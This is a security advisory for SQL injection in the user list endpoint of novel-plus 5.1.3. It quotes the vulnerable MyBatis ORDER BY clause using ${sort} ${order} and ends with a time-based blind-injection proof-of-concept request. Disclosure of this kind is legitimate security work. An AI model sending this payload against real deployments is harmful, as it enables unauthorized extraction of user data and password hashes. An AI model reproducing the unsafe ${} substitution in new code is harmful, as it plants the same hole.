

SQLI in User List Leads to Sensitive Data Disclosure
A critical SQL injection vulnerability in the user list endpoint allows authenticated attackers to exfiltrate sensitive user data, including password hashes.
Abstract#
A critical SQL injection vulnerability exists in the user management module. The /list
endpoint, which retrieves a list of system users, unsafely uses string substitution (${...}
) for the sort
and order
parameters within its MyBatis ORDER BY
clause. This allows any authenticated user who can access this endpoint to execute arbitrary SQL commands. Because the query targets the sys_user
table, this flaw can be exploited to exfiltrate highly sensitive information, including usernames, email addresses, and password hashes, compromising all user accounts on the system.
Vulnerability Details#
1. Affected Product Information
-
Product Name: novel-plus
-
Repository URL: https://github.com/201206030/novel-plus ↗
-
Affected Component:
novel-admin/src/main/resources/mybatis/system/UserMapper.xml
-
Affected Version: 5.1.3
-
Vulnerability Type: SQL Injection
-
CWE (Common Weakness Enumeration): CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
-
Affected Code Snippet:
java@GetMapping("/list") @ResponseBody PageBean list(@RequestParam Map<String, Object> params) { // 查询列表数据 Query query = new Query(params); List<UserDO> sysUserList = userService.list(query); int total = userService.count(query); PageBean pageUtil = new PageBean(sysUserList, total); return pageUtil; }
java@Override public List<UserDO> list(Map<String, Object> map) { String deptId = map.get("deptId").toString(); if (StringUtils.isNotBlank(deptId)) { Long deptIdl = Long.valueOf(deptId); List<Long> childIds = deptService.listChildrenIds(deptIdl); childIds.add(deptIdl); map.put("deptId", null); map.put("deptIds", childIds); } return userMapper.listByPerm(map); }
xml<select id="listByPerm" resultType="com.java2nb.system.domain.UserDO"> select `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district` from ( select `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district` from sys_user <where> <if test="userId != null and userId != ''">and user_id = #{userId}</if> <if test="username != null and username != ''">and username = #{username}</if> <if test="name != null and name != ''">and name = #{name}</if> <if test="password != null and password != ''">and password = #{password}</if> <if test="deptId != null and deptId != ''">and dept_id = #{deptId}</if> <if test="deptIds != null and deptIds.size() > 0">and dept_id in <foreach collection="deptIds" item="item" index="index" separator="," open="(" close=")"> #{item} </foreach> </if> <if test="email != null and email != ''">and email = #{email}</if> <if test="mobile != null and mobile != ''">and mobile = #{mobile}</if> <if test="status != null and status != ''">and status = #{status}</if> <if test="userIdCreate != null and userIdCreate != ''">and user_id_create = #{userIdCreate}</if> <if test="gmtCreate != null and gmtCreate != ''">and gmt_create = #{gmtCreate}</if> <if test="gmtModified != null and gmtModified != ''">and gmt_modified = #{gmtModified}</if> <if test="sex != null and sex != ''">and sex = #{sex}</if> <if test="birth != null and birth != ''">and birth = #{birth}</if> <if test="picId != null and picId != ''">and pic_id = #{picId}</if> <if test="liveAddress != null and liveAddress != ''">and live_address = #{liveAddress}</if> <if test="hobby != null and hobby != ''">and hobby = #{hobby}</if> <if test="province != null and province != ''">and province = #{province}</if> <if test="city != null and city != ''">and city = #{city}</if> <if test="district != null and district != ''">and district = #{district}</if> </where> ) t <choose> <when test="sort != null and sort.trim() != ''"> order by ${sort} ${order} </when> <otherwise> order by user_id desc </otherwise> </choose> <if test="offset != null and limit != null"> limit #{offset}, #{limit} </if> </select>
-
The vulnerability is located in the UserMapper.xml
file. The sort
and order
parameters, controlled by the user, are directly concatenated into the SQL query, bypassing prepared statement protections.
POC#
GET /sys/user/list?sort=(SELECT(CASE+WHEN(1%3d1)+THEN+SLEEP(5)+ELSE+1+END))&limit=10&offset=0&name=&deptId= HTTP/1.1
http